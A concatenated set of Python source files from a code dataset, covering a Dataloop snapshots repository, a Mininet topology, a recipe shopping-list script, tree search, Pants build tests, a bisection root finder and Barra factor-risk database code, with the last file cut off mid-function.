\"\"\"\n\n def __init__(self,\n client_api: services.ApiClient,\n model: entities.Model = None,\n project: entities.Project = None,\n artifacts: repositories.Artifacts = None,\n project_id: str = None):\n self._client_api = client_api\n self._project = project\n self._model = model\n self._artifacts = artifacts\n self._project_id = project_id\n\n ############\n # entities #\n ############\n @property\n def project(self) -> entities.Project:\n if self._project is None:\n if self._project_id is not None:\n projects = repositories.Projects(client_api=self._client_api)\n self._project = projects.get(project_id=self._project_id)\n if self._project is None:\n if self._model is not None:\n if self._model._project is not None:\n self._project = self._model._project\n if self._project is None:\n raise exceptions.PlatformException(\n error='2001',\n message='Missing \"project\". need to set a Project entity or use project.snapshots repository')\n assert isinstance(self._project, entities.Project)\n return self._project\n\n @project.setter\n def project(self, project: entities.Project):\n if not isinstance(project, entities.Project):\n raise ValueError('Must input a valid Project entity')\n self._project = project\n\n @property\n def artifacts(self) -> repositories.Artifacts:\n assert isinstance(self.project.artifacts, repositories.Artifacts)\n return self.project.artifacts\n\n @property\n def model(self) -> entities.Model:\n if self._model is None:\n raise exceptions.PlatformException(\n error='2001',\n message='Cannot perform action WITHOUT Model entity in Datasets repository.'\n ' Please use model.snapshots or set a model')\n assert isinstance(self._model, entities.Model)\n return self._model\n ###########\n # methods #\n ###########\n def get(self, snapshot_name=None, snapshot_id=None) -> entities.Snapshot:\n \"\"\"\n Get snapshot object\n\n :param snapshot_id:\n :param snapshot_name:\n :return: snapshot object\n \"\"\"\n\n if snapshot_id is not None:\n success, response = self._client_api.gen_request(req_type=\"get\",\n path=\"/snapshots/{}\".format(snapshot_id))\n if not success:\n raise exceptions.PlatformException(response)\n snapshot = entities.Snapshot.from_json(client_api=self._client_api,\n _json=response.json(),\n project=self._project,\n model=self._model)\n elif snapshot_name is not None:\n snapshots = self.list(entities.Filters(resource=entities.FiltersResource.SNAPSHOT,\n field='name',\n values=snapshot_name))\n if snapshots.items_count == 0:\n raise exceptions.PlatformException(\n error='404',\n message='Snapshot not found. Name: {}'.format(snapshot_name))\n elif snapshots.items_count > 1:\n raise exceptions.PlatformException(\n error='400',\n message='More than one file found by the name of: {}'.format(snapshot_name))\n snapshot = snapshots.items[0]\n else:\n raise exceptions.PlatformException(\n error='400',\n message='No checked-out Snapshot was found, must checkout or provide an identifier in inputs')\n\n return snapshot\n\n def _build_entities_from_response(self, response_items) -> miscellaneous.List[entities.Snapshot]:\n jobs = [None for _ in range(len(response_items))]\n pool = self._client_api.thread_pools(pool_name='entity.create')\n\n # return triggers list\n for i_service, service in enumerate(response_items):\n jobs[i_service] = pool.apply_async(entities.Snapshot._protected_from_json,\n kwds={'client_api': self._client_api,\n '_json': service,\n 'model': self._model,\n 'project': self._project})\n # wait for all jobs\n _ = [j.wait() for j in jobs]\n # get all results\n results = [j.get() for j in jobs]\n # log errors\n _ = [logger.warning(r[1]) for r in results if r[0] is False]\n # return good jobs\n return miscellaneous.List([r[1] for r in results if r[0] is True])\n\n def _list(self, filters: entities.Filters):\n url = '/query/machine-learning'\n # request\n success, response = self._client_api.gen_request(req_type='POST',\n path=url,\n json_req=filters.prepare())\n if not success:\n raise exceptions.PlatformException(response)\n return response.json()\n\n def list(self, filters: entities.Filters = None) -> entities.PagedEntities:\n \"\"\"\n List project snapshots\n :return:\n \"\"\"\n # default filters\n if filters is None:\n filters = entities.Filters(resource=entities.FiltersResource.SNAPSHOT)\n if self._project is not None:\n filters.add(field='projectId', values=self._project.id)\n if self._model is not None:\n filters.add(field='modelId', values=self._model.id)\n\n # assert type filters\n if not isinstance(filters, entities.Filters):\n raise exceptions.PlatformException('400', 'Unknown filters type')\n\n paged = entities.PagedEntities(items_repository=self,\n filters=filters,\n page_offset=filters.page,\n page_size=filters.page_size,\n client_api=self._client_api)\n paged.get_page()\n return paged\n\n def create(self, snapshot_name=None, description=None, project_id=None, scope='private') -> entities.Snapshot:\n \"\"\"\n Create a Snapshot entity\n\n :param snapshot_name: name of the snapshot\n :param description: description\n :param project_id: project that owns the snapshot\n :param scope: 'global'\n :return: Snapshot Entity\n \"\"\"\n if project_id is None:\n project_id = self.project.id\n else:\n if self._project is not None and self._project.id != project_id:\n self._project = None\n self._project_id = project_id\n artifact_dir_item = self.artifacts.items_repository.make_dir(\n directory=self.artifacts._build_path_header(model_name=self.model.name,\n snapshot_name='{}_{}'.format(snapshot_name,\n str(uuid.uuid1())),\n ))\n # create payload for request\n payload = {'name': snapshot_name,\n 'description': description,\n 'modelId': self.model.id,\n 'projectId': project_id,\n 'artifactId': artifact_dir_item.id,\n 'scope': scope}\n\n # request\n success, response = self._client_api.gen_request(req_type='post',\n path='/snapshots',\n json_req=payload)\n\n # exception handling\n if not success:\n raise exceptions.PlatformException(response)\n\n snapshot = entities.Snapshot.from_json(_json=response.json(),\n client_api=self._client_api,\n project=self._project,\n model=self.model)\n return snapshot\n\n def upload(self,\n local_path: str,\n snapshot: entities.Snapshot = None,\n overwrite: bool = False):\n \"\"\"\n Create a snapshot in platform\n\n :param local_path: path of artifacts to upload\n :param snapshot: Snapshot entity\n :param overwrite: overwrite the artifacts (if same name exists)\n :return: Snapshot Entity\n \"\"\"\n\n # upload artifacts\n if not local_path.endswith('/'):\n local_path += '/'\n # snapshot binaries must be flatten (no directory trees)\n local_path += '*'\n artifact_dir_item = self.artifacts.items_repository.get(item_id=snapshot.artifacts_id)\n artifacts = self.artifacts.items_repository.upload(local_path=local_path,\n remote_path=artifact_dir_item.filename,\n overwrite=overwrite)\n return artifacts\n\n def download(self, snapshot_id=None, snapshot=None, local_path=None):\n if snapshot is None:\n if snapshot_id is None:\n raise exceptions.PlatformException('400', 'Please provide snapshot or snapshot id')\n snapshot = self.get(snapshot_id=snapshot_id)\n\n if local_path is None:\n local_path = os.getcwd()\n\n snapshot_artifact_item = self.artifacts.get(artifact_id=snapshot.artifacts_id)\n if snapshot_artifact_item.type == 'dir':\n filters = entities.Filters(field='dir', values='{}*'.format(snapshot_artifact_item.filename))\n artifacts = self.artifacts.items_repository.download(\n filters=filters,\n local_path=local_path,\n to_items_folder=False,\n without_relative_path=snapshot_artifact_item.filename)\n else:\n artifacts = snapshot_artifact_item.download(local_path=local_path)\n return artifacts\n\n def delete(self, snapshot: entities.Snapshot = None, snapshot_name=None, snapshot_id=None):\n \"\"\"\n Delete Snapshot object\n\n :param snapshot:\n :param snapshot_name:\n :param snapshot_id:\n :return: True\n \"\"\"\n # get id and name\n if snapshot is None:\n snapshot = self.get(snapshot_id=snapshot_id, snapshot_name=snapshot_name)\n try:\n self.artifacts.items_repository.delete(item_id=snapshot.artifacts_id)\n except exceptions.NotFound:\n pass\n\n # request\n success, response = self._client_api.gen_request(\n req_type=\"delete\",\n path=\"/snapshots/{}\".format(snapshot.id)\n )\n\n # exception handling\n if not success:\n raise exceptions.PlatformException(response)\n\n # return results\n return True\n\n def update(self, snapshot: entities.Snapshot) -> entities.Snapshot:\n \"\"\"\n Update Snapshot changes to platform\n\n :param snapshot:\n :return: Snapshot entity\n \"\"\"\n # payload\n payload = snapshot.to_json()\n\n # request\n success, response = self._client_api.gen_request(req_type='patch',\n path='/snapshots/{}'.format(snapshot.id),\n json_req=payload)\n\n # exception handling\n if not success:\n raise exceptions.PlatformException(response)\n\n # return entity\n return entities.Snapshot.from_json(_json=response.json(),\n client_api=self._client_api,\n project=self._project,\n model=snapshot._model)\n","sub_path":"dtlpy/repositories/snapshots.py","file_name":"snapshots.py","file_ext":"py","file_size_in_byte":12470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"265641186","text":"\n# This file is part of AltCanvas.\n#\n# http://code.google.com/p/altcanvas\n#\n# AltCanvas is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# AltCanvas is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with AltCanvas. If not, see .\n\n\n\nfrom libpub.prime.widget import WidgetWrapper\n\n(LINE,) = range(1)\n\nclass Path:\n widget = None\n num_steps = 0\n locus = None\n \n class PathPoint:\n pass\n \n start = None\n stop = None\n \n def __init__(self,widget,num_steps=5,locus=LINE):\n self.widget = widget\n self.num_steps = num_steps \n self.locus = locus \n \n def add_start(self,x,y):\n self.start = self.PathPoint()\n self.start.x = x\n self.start.y = y\n \n def add_stop(self,x,y):\n self.stop = self.PathPoint()\n self.stop.x = x\n self.stop.y = y\n \n \n def get_next_point(self):\n for step in range(self.num_steps):\n nx = self.start.x + int((step+1)*(self.stop.x - self.start.x)/self.num_steps)\n ny = self.start.y + int((step+1)*(self.stop.y - self.start.y)/self.num_steps)\n \n yield WidgetWrapper(self.widget,nx,ny)\n \n def get_points(self):\n points = []\n for step in range(self.num_steps):\n nx = self.start.x + int((step+1)*(self.stop.x - self.start.x)/self.num_steps)\n ny = self.start.y + int((step+1)*(self.stop.y - self.start.y)/self.num_steps)\n \n points.append(WidgetWrapper(self.widget,nx,ny))\n \n return points","sub_path":"common/libpub/prime/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"68880986","text":"def get_list_to_buy():\n with open('cook_book.txt', encoding='utf8') as f:\n cook_book = {}\n i = 0\n ingredient_name = []\n for line in f:\n line_list = line.split()\n if len(line_list) != 0 and line_list[0].isalpha() and i == 0:\n cook_book[' '.join(line_list)] = []\n current_dish = ' '.join(line_list)\n elif len(line_list) == 1 and line_list[0].isdigit():\n i = int(line_list[0])\n elif len(line_list) > 1:\n line_list = list(filter(lambda a: a != '|', line_list))\n for digit in line_list:\n if not digit.isdigit():\n ingredient_name.append(digit)\n else:\n cook_book[current_dish].append({'ingredient_name': ' '.join(ingredient_name),\n 'quantity': digit,\n 'measure': line_list[-1] + '.'})\n ingredient_name = []\n break\n i -= 1\n return cook_book\n\n\ndef get_shop_list_by_dishes(dishes, person_count):\n shop_list = {}\n cook_book = get_list_to_buy()\n for dish in dishes:\n if dish in cook_book.keys():\n current_dish = cook_book[dish]\n for ingredient in current_dish:\n current_ingredient = ingredient['ingredient_name']\n\n # print(current_ingredient)\n if current_ingredient in shop_list:\n shop_list[current_ingredient] = {'measure': ingredient['measure'],\n 'quantity': int(ingredient['quantity']) + int(ingredient['quantity'])}\n else:\n shop_list[current_ingredient] = {'measure': ingredient['measure'],\n 'quantity': int(ingredient['quantity'])}\n else:\n pass\n for ingredient in shop_list.values():\n ingredient['quantity'] *= person_count\n return shop_list\n\n\ndef runner():\n shop_list = get_shop_list_by_dishes(['Омлет', 'Омлет'], 2)\n print(shop_list)\n\n\nrunner()\n","sub_path":"cook_book_with_file.py","file_name":"cook_book_with_file.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"455003975","text":"\n# coding: utf-8\n\n# In[ ]:\n\n\nimport Ingeniero as ing\n\nif __name__ == '__main__':\n yo = ing.Ingeniero(\"Yocoyani\",[\"Tecnicas de Programación\", \"Ingenieria de Materiales\"],\"FI UNAM\", \"DIMEI\", \"Mecatrónica\")\n \n print(yo.getNombre(), yo.getMaterias(), yo.getEscuela())\n yo.setNombre(\"Juan\")\n yo.setMaterias([\"Cálculo Vectorial\",\"Ecuaciones Diferenciales\"])\n yo.setEscuela(\"FI UNAM II\")\n yo.setDivision(\"DIE\")\n yo.setCarrera(\"Computación\")\n print(yo.getNombre(), yo.getMaterias(), yo.getEscuela(), yo.getDivision(), yo.getCarrera())\n \n \n\n","sub_path":"Practica2_GonzalezAguilarEder/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"427253181","text":"#!/usr/bin/python\n# creates a topology that is loadable through cli\n# start it with: sudo mn --custom clitopology.py --topo mytopo --link tc \n\n\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.link import TCLink\nfrom mininet.util import custom\n\n# Topology to be instantiated in Mininet\nclass MyTopo(Topo):\n \"Mininet test topology\"\n\n def __init__(self, cpu=.1, max_queue_size=None, **params):\n\n # Initialize topo\n Topo.__init__(self, **params)\n\n # Host and link configuration\n linkConfig = {'bw': 50, 'delay': '10ms', 'loss': 0,\n 'max_queue_size': max_queue_size }\n\n # Hosts and switches\n s1 = self.addSwitch('s1')\n\n host1 = self.addHost('host01')\n host2 = self.addHost('host02')\n\n # Wire receiver\n self.addLink(host1, s1, **linkConfig)\n\n # Wires switches\n self.addLink(host2, s1, bw=10 )\n\n\n\ntopos = { 'mytopo': ( lambda: MyTopo() ) }\n\n","sub_path":"simpleExamples/clitopology.py","file_name":"clitopology.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"358484831","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Cracking the PM Interview\n# 16.17 Using depth-first search, check if a tree contains a value.\n\nfrom src.trees_graphs.ctpmi_16_05 import BSTWithInsert\n\nclass BSTWithDFS(BSTWithInsert):\n\n def find_preorder(self, data):\n return BSTWithDFS.preorder(self.root, data)\n\n @staticmethod\n def preorder(root, data):\n if not root:\n return False\n\n if data == root.data:\n return root\n\n return BSTWithDFS.preorder(root.left, data) or BSTWithDFS.preorder(root.right, data)\n\n\n def find_inorder(self, data):\n return BSTWithDFS.inorder(self.root, data)\n\n @staticmethod\n def inorder(root, data):\n if not root:\n return None\n\n left = BSTWithDFS.inorder(root.left, data)\n if left:\n return left\n\n if data == root.data:\n return root\n\n right = BSTWithDFS.inorder(root.right, data)\n if right:\n return right\n\n\n def find_postorder(self, data):\n return BSTWithDFS.postorder(self.root, data)\n\n @staticmethod\n def postorder(root, data):\n if not root:\n return None\n\n left = BSTWithDFS.postorder(root.left, data)\n if left:\n return left\n\n right = BSTWithDFS.postorder(root.right, data)\n if right:\n return right\n\n if data == root.data:\n return root\n","sub_path":"src/graph_search/ctpmi_16_17.py","file_name":"ctpmi_16_17.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"126579587","text":"import pinyin\nimport xlrd\n\ntarget_file = open('stocks.csv', 'wt', encoding='gbk')\ni = 0\nwith open('shanghai.csv', 'rt', encoding='gb2312') as f:\n f.readline()\n for line in f:\n cols = line.split()\n ch = cols[1].replace('*', '')\n ch = ch.replace('ST', '')\n py = pinyin.get_mutil_cn_first_letter(ch)\n target_file.write('\\t'.join(cols[0:2] + [py]) + '\\n')\n i = i + 1\n print('total:', i)\n\nworkbook = xlrd.open_workbook('shenzheng.xlsx')\nsheet = workbook.sheet_by_index(0)\nfor i in range(1, sheet.nrows):\n row_values = sheet.row_values(i)\n code = row_values[5]\n name = row_values[6].replace(' ', '')\n ch = name.replace('*', '')\n ch = ch.replace('ST', '')\n py = pinyin.get_mutil_cn_first_letter(ch)\n target_file.write(code + '\\t' + name + '\\t' + py + '\\n')\nprint('total:', sheet.nrows - 1)\n\n \ntarget_file.close()\n","sub_path":"pinyin/stock_pinyin.py","file_name":"stock_pinyin.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"199009544","text":"# coding=utf-8\n# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport unittest\n\nfrom pants.build_graph.address_lookup_error import AddressLookupError\nfrom pants.option.scope import GLOBAL_SCOPE_CONFIG_SECTION\nfrom pants_test.pants_run_integration_test import PantsRunIntegrationTest\n\n\nclass GraphIntegrationTest(PantsRunIntegrationTest):\n\n _SOURCES_TARGET_BASE = 'testprojects/src/python/sources'\n\n _SOURCES_ERR_MSGS = {\n 'missing-globs': (\"globs('*.a')\", ['*.a']),\n 'missing-rglobs': (\"rglobs('*.a')\", ['**/*.a']),\n 'missing-zglobs': (\"zglobs('**/*.a')\", ['**/*.a']),\n 'missing-literal-files': (\n \"['nonexistent_test_file.txt', 'another_nonexistent_file.txt']\", [\n 'nonexistent_test_file.txt',\n 'another_nonexistent_file.txt',\n ]),\n 'some-missing-some-not': (\"globs('*.txt', '*.rs')\", ['*.rs']),\n 'overlapping-globs': (\"globs('sources.txt', '*.txt')\", ['*.txt']),\n }\n\n _WARN_FMT = \"WARN] In target {base}:{name} with {desc}={glob}: glob pattern '{as_zsh_glob}' did not match any files.\"\n\n def _list_target_check_warnings_sources(self, target_name):\n target_full = '{}:{}'.format(self._SOURCES_TARGET_BASE, target_name)\n glob_str, expected_globs = self._SOURCES_ERR_MSGS[target_name]\n\n pants_run = self.run_pants(['list', target_full], config={\n GLOBAL_SCOPE_CONFIG_SECTION: {\n 'glob_expansion_failure': 'warn',\n },\n })\n self.assert_success(pants_run)\n\n for as_zsh_glob in expected_globs:\n warning_msg = self._WARN_FMT.format(\n base=self._SOURCES_TARGET_BASE,\n name=target_name,\n desc='sources',\n glob=glob_str,\n as_zsh_glob=as_zsh_glob)\n self.assertIn(warning_msg, pants_run.stderr_data)\n\n _ERR_TARGETS = {\n 'testprojects/src/python/sources:some-missing-some-not': [\n \"globs('*.txt', '*.rs')\",\n \"Snapshot(PathGlobs(include=(u\\'testprojects/src/python/sources/*.txt\\', u\\'testprojects/src/python/sources/*.rs\\'), exclude=(), glob_match_error_behavior<=GlobMatchErrorBehavior>=GlobMatchErrorBehavior(failure_behavior=error)))\",\n \"Globs did not match. Excludes were: []. Unmatched globs were: [\\\"testprojects/src/python/sources/*.rs\\\"].\",\n ],\n 'testprojects/src/java/org/pantsbuild/testproject/bundle:missing-bundle-fileset': [\n \"['a/b/file1.txt']\",\n \"RGlobs('*.aaaa', '*.bbbb')\",\n \"Globs('*.aaaa')\",\n \"ZGlobs('**/*.abab')\",\n \"['file1.aaaa', 'file2.aaaa']\",\n \"Snapshot(PathGlobs(include=(u\\'testprojects/src/java/org/pantsbuild/testproject/bundle/*.aaaa\\',), exclude=(), glob_match_error_behavior<=GlobMatchErrorBehavior>=GlobMatchErrorBehavior(failure_behavior=error)))\",\n \"Globs did not match. Excludes were: []. Unmatched globs were: [\\\"testprojects/src/java/org/pantsbuild/testproject/bundle/*.aaaa\\\"].\",\n ]\n }\n\n def _list_target_check_error(self, target_name):\n expected_excerpts = self._ERR_TARGETS[target_name]\n\n pants_run = self.run_pants(['list', target_name], config={\n GLOBAL_SCOPE_CONFIG_SECTION: {\n 'glob_expansion_failure': 'error',\n },\n })\n self.assert_failure(pants_run)\n\n self.assertIn(AddressLookupError.__name__, pants_run.stderr_data)\n\n for excerpt in expected_excerpts:\n self.assertIn(excerpt, pants_run.stderr_data)\n\n @unittest.skip('Skipped to expedite landing #5769: see #5863')\n def test_missing_sources_warnings(self):\n for target_name in self._SOURCES_ERR_MSGS.keys():\n self._list_target_check_warnings_sources(target_name)\n\n @unittest.skip('Skipped to expedite landing #5769: see #5863')\n def test_existing_sources(self):\n target_full = '{}:text'.format(self._SOURCES_TARGET_BASE)\n pants_run = self.run_pants(['list', target_full], config={\n GLOBAL_SCOPE_CONFIG_SECTION: {\n 'glob_expansion_failure': 'warn',\n },\n })\n self.assert_success(pants_run)\n self.assertNotIn(\"WARN]\", pants_run.stderr_data)\n\n @unittest.skip('Skipped to expedite landing #5769: see #5863')\n def test_missing_bundles_warnings(self):\n target_full = '{}:{}'.format(self._BUNDLE_TARGET_BASE, self._BUNDLE_TARGET_NAME)\n pants_run = self.run_pants(['list', target_full], config={\n GLOBAL_SCOPE_CONFIG_SECTION: {\n 'glob_expansion_failure': 'warn',\n },\n })\n\n self.assert_success(pants_run)\n\n for glob_str, expected_globs in self._BUNDLE_ERR_MSGS:\n for as_zsh_glob in expected_globs:\n warning_msg = self._WARN_FMT.format(\n base=self._BUNDLE_TARGET_BASE,\n name=self._BUNDLE_TARGET_NAME,\n desc='fileset',\n glob=glob_str,\n as_zsh_glob=as_zsh_glob)\n self.assertIn(warning_msg, pants_run.stderr_data)\n\n @unittest.skip('Skipped to expedite landing #5769: see #5863')\n def test_existing_bundles(self):\n target_full = '{}:mapper'.format(self._BUNDLE_TARGET_BASE)\n pants_run = self.run_pants(['list', target_full], config={\n GLOBAL_SCOPE_CONFIG_SECTION: {\n 'glob_expansion_failure': 'warn',\n },\n })\n self.assert_success(pants_run)\n self.assertNotIn(\"WARN]\", pants_run.stderr_data)\n\n def test_error_message(self):\n self._list_target_check_error('testprojects/src/python/sources:some-missing-some-not')\n\n self._list_target_check_error(\n 'testprojects/src/java/org/pantsbuild/testproject/bundle:missing-bundle-fileset')\n","sub_path":"tests/python/pants_test/engine/legacy/test_graph_integration.py","file_name":"test_graph_integration.py","file_ext":"py","file_size_in_byte":5480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"587572333","text":"#!/usr/bin/python3.7\n# -*- coding: utf-8 -*-\n# @Time : 2019/9/10 13:47\n# @Author: Jtyoui@qq.com\nfrom jtyoui.error import MathValueWarning\nimport math\nimport warnings\n\n\ndef theorem_Zero(function, x1: float, x2: float) -> float:\n \"\"\"零点定理\n\n 定义一个函数:x^3-2x-5=0,求x等于多少。x的值域:[1,1000]\n 原理利用二分法不断的逼近,求出答案\n\n :param function: 定一个函数\n :param x1: 开始值\n :param x2: 结束值\n :return: 返回零点的值\n \"\"\"\n if function(x1) == 0:\n return x1\n elif function(x2) == 0:\n return x2\n elif function(x1) * function(x2) > 0:\n warnings.warn('[a,b]区间的值应该满足:f(a)*f(b)<0', category=MathValueWarning)\n return math.inf\n else:\n mid = x1 + (x2 - x1) / 2.0\n while abs(x1 - mid) > math.pow(10, -9): # x值小于10亿分之一\n if function(mid) == 0:\n return mid\n elif function(mid) * function(x1) < 0:\n x2 = mid\n else:\n x1 = mid\n mid = x1 + (x2 - x1) / 2.0\n return mid\n\n\nif __name__ == '__main__':\n # 定义一个函数:x^3-2x-5=0,求x等于多少。x的值域:[1,1000]\n print(theorem_Zero(lambda x: x ** 2 - 1, 0, 1000))\n","sub_path":"jtyoui/statistics/maths/theorem.py","file_name":"theorem.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"615651155","text":"\nimport pandas as pd\nfrom sqlalchemy import *\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport sys\nsys.path.extend('../')\nfrom db import database\nfrom db.config import *\n\n# load factor return \ndef factorReturn(sdate, edate):\n\n db = create_engine(uris['factor'])\n sql = \"select * from `barra_factor_return` where trade_date >= '\" + sdate + \"' and trade_date <='\" + edate +\"'\"\n payback = pd.read_sql(sql, db)\n\n return payback\n\n# load regression resid for every stock or some stocks\ndef regressionResid(sdate, edate, stocks = None):\n\n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('barra_regression_resid', meta, autoload = True)\n columns = [\n t.c.trade_date,\n t.c.stock_id,\n t.c.resid,\n ]\n sql = select(columns)\n sql = sql.where(t.c.trade_date >= sdate)\n sql = sql.where(t.c.trade_date <= edate)\n if stocks != None:\n sql = sql.where(t.c.stock_id.in_(stocks))\n resid = pd.read_sql(sql, db)\n\n return resid\n\n# load factor exposure of every stock or some stocks\ndef factorExposure(date, industryFactors, stocks = None):\n\n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('factor_exposure_barra_20200107', meta, autoload = True)\n columns = [\n t.c.trade_date,\n t.c.stock_id,\n #t.c.country,\n t.c.volatility,\n t.c.dividend_yield,\n t.c.quality,\n t.c.momentum,\n t.c.short_term_reverse,\n t.c.value,\n t.c.linear_size,\n t.c.nonlinear_size,\n t.c.growth,\n t.c.liquidity,\n t.c.sentiment,\n t.c.industry, # need further treatment\n #t.c.weight, # need further treatment\n ]\n sql = select(columns)\n sql = sql.where(t.c.trade_date == date)\n if stocks != None:\n sql = sql.where(t.c.stock_id.in_(stocks))\n exposure = pd.read_sql(sql, db)\n\n w = exposure\n w['country'] = 1\n \n for industry in industryFactors:\n w[industry] = 0\n for i in range(len(w)):\n w['industry_'+str(w['industry'][i])][i] = 1\n \n w = w.drop('industry', axis = 1)\n\n return w\n\n# calculate factor fluctuation ratio\ndef FactorFluctuation(factorReturn):\n \n flr = factorReturn.std()\n\n return flr\n\n# calculate covariance matirx\ndef FactorCovariance(w, sigma, omiga):\n\n covarianceMatrix = np.dot(np.dot(w,sigma),w.T) + omiga\n\n return covarianceMatrix\n\n# calculate stock fluctuation ratio\ndef stockFluctuation(stockResid):\n\n stockFlr = stockResid.std(axis = 0)\n\n return stockFlr\n\n# save factor return fluctuation ratio into barra_fluctuation_ratio\ndef saveFlr(df, dates):\n\n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('barra_factor_fluctuation_ratio', meta, autoload = True)\n columns = [\n t.c.bf_date,\n t.c.bf_factor,\n t.c.bf_flr,\n ]\n sql = select(columns)\n sql = sql.where(t.c.bf_date.in_(dates))\n dfBase = pd.read_sql(sql, db)\n dfBase['bf_date'] = dfBase['bf_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n dfBase.set_index(['bf_date','bf_factor'], inplace = True)\n\n database.batch(db, t, df, dfBase, timestamp = False)\n\n# save factor return fluctuation ratio into barra_fluctuation_ratio\ndef saveStockFlr(df, dates):\n\n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('barra_resid_fluctuation_ratio', meta, autoload = True)\n columns = [\n t.c.br_date,\n t.c.br_stock_id,\n t.c.br_flr,\n ]\n sql = select(columns)\n sql = sql.where(t.c.br_date.in_(dates))\n dfBase = pd.read_sql(sql, db)\n dfBase['br_date'] = dfBase['br_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n dfBase.set_index(['br_date','br_stock_id'], inplace = True)\n\n database.batch(db, t, df, dfBase, timestamp = False)\n\n\n# save factor return covariance into barra_factor_covariance\ndef saveFactorCovariance(mat, names, date, sdate = None, edate = None):\n\n df = pd.DataFrame(columns = ['bf_date','bf_factor1','bf_factor2','bf_cov'])\n dfFactor1 = list()\n dfFactor2 = list()\n covij = list()\n i = 0\n for name1 in names:\n j = i\n for name2 in names[i:]:\n dfFactor1.append(name1)\n dfFactor2.append(name2)\n covij.append(mat[i,j])\n j += 1\n i += 1\n df['bf_factor1'] = dfFactor1\n df['bf_factor2'] = dfFactor2\n df['bf_cov'] = covij\n df['bf_date'] = date\n df['bf_date'] = df['bf_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n df.set_index(['bf_date','bf_factor1','bf_factor2'], inplace = True)\n \n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('barra_factor_covariance', meta, autoload = True)\n columns = [\n t.c.bf_date,\n t.c.bf_factor1,\n t.c.bf_factor2,\n t.c.bf_cov,\n ]\n sql = select(columns)\n if sdate != None:\n sql = sql.where(t.c.bf_date >= sdate)\n if edate != None:\n sql = sql.where(t.c.bf_date <= edate)\n dfBase = pd.read_sql(sql, db)\n dfBase['bf_date'] = dfBase['bf_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n dfBase.set_index(['bf_date','bf_factor1','bf_factor2'], inplace = True)\n\n database.batch(db, t, df, dfBase, timestamp = False)\n\n# save stock return covariance into barra_covariance\ndef saveStockCovariance(mat, names, date, sdate = None, edate = None):\n\n df = pd.DataFrame(columns = ['bc_date','bc_stock1','bc_stock2','bc_cov'])\n dfStock1 = list()\n dfStock2 = list()\n covij = list()\n i = 0\n for name1 in names:\n j = i\n for name2 in names[i:]:\n dfStock1.append(name1)\n dfStock2.append(name2)\n covij.append(mat[i,j])\n j += 1\n i += 1\n df['bc_stock1'] = dfStock1\n df['bc_stock2'] = dfStock2\n df['bc_cov'] = covij\n df['bc_date'] = date\n df['bc_date'] = df['bc_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n df.set_index(['bc_date','bc_stock1','bc_stock2'], inplace = True)\n\n db = create_engine(uris['factor'])\n meta = MetaData(bind = db)\n t = Table('barra_covariance', meta, autoload = True)\n columns = [\n t.c.bc_date,\n t.c.bc_stock1,\n t.c.bc_stock2,\n t.c.bc_cov,\n ]\n sql = select(columns)\n if sdate != None:\n sql = sql.where(t.c.bc_date >= sdate)\n if edate != None:\n sql = sql.where(t.c.bc_date <= edate)\n dfBase = pd.read_sql(sql, db)\n dfBase['bc_date'] = dfBase['bc_date'].map(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))\n dfBase.set_index(['bc_date','bc_stock1','bc_stock2'], inplace = True)\n\n database.batch(db, t, df, dfBase, timestamp = False)\n\n# load factor return \ndef loadFlr(sdate, edate):\n\n db = create_engine(uris['factor'])\n sql = \"select * from `barra_factor_fluctuation_ratio` where bf_date >= '\" + sdate + \"' and bf_date <='\" + edate +\"'\"\n flr = pd.read_sql(sql, db)\n\n return flr\n\n# load factor return \ndef loadResidFlr(sdate, edate):\n\n db = create_engine(uris['factor'])\n sql = \"select * from `barra_resid_fluctuation_ratio` where br_date >= '\" + sdate + \"' and br_date <='\" + edate +\"'\"\n residFlr = pd.read_sql(sql, db)\n\n return 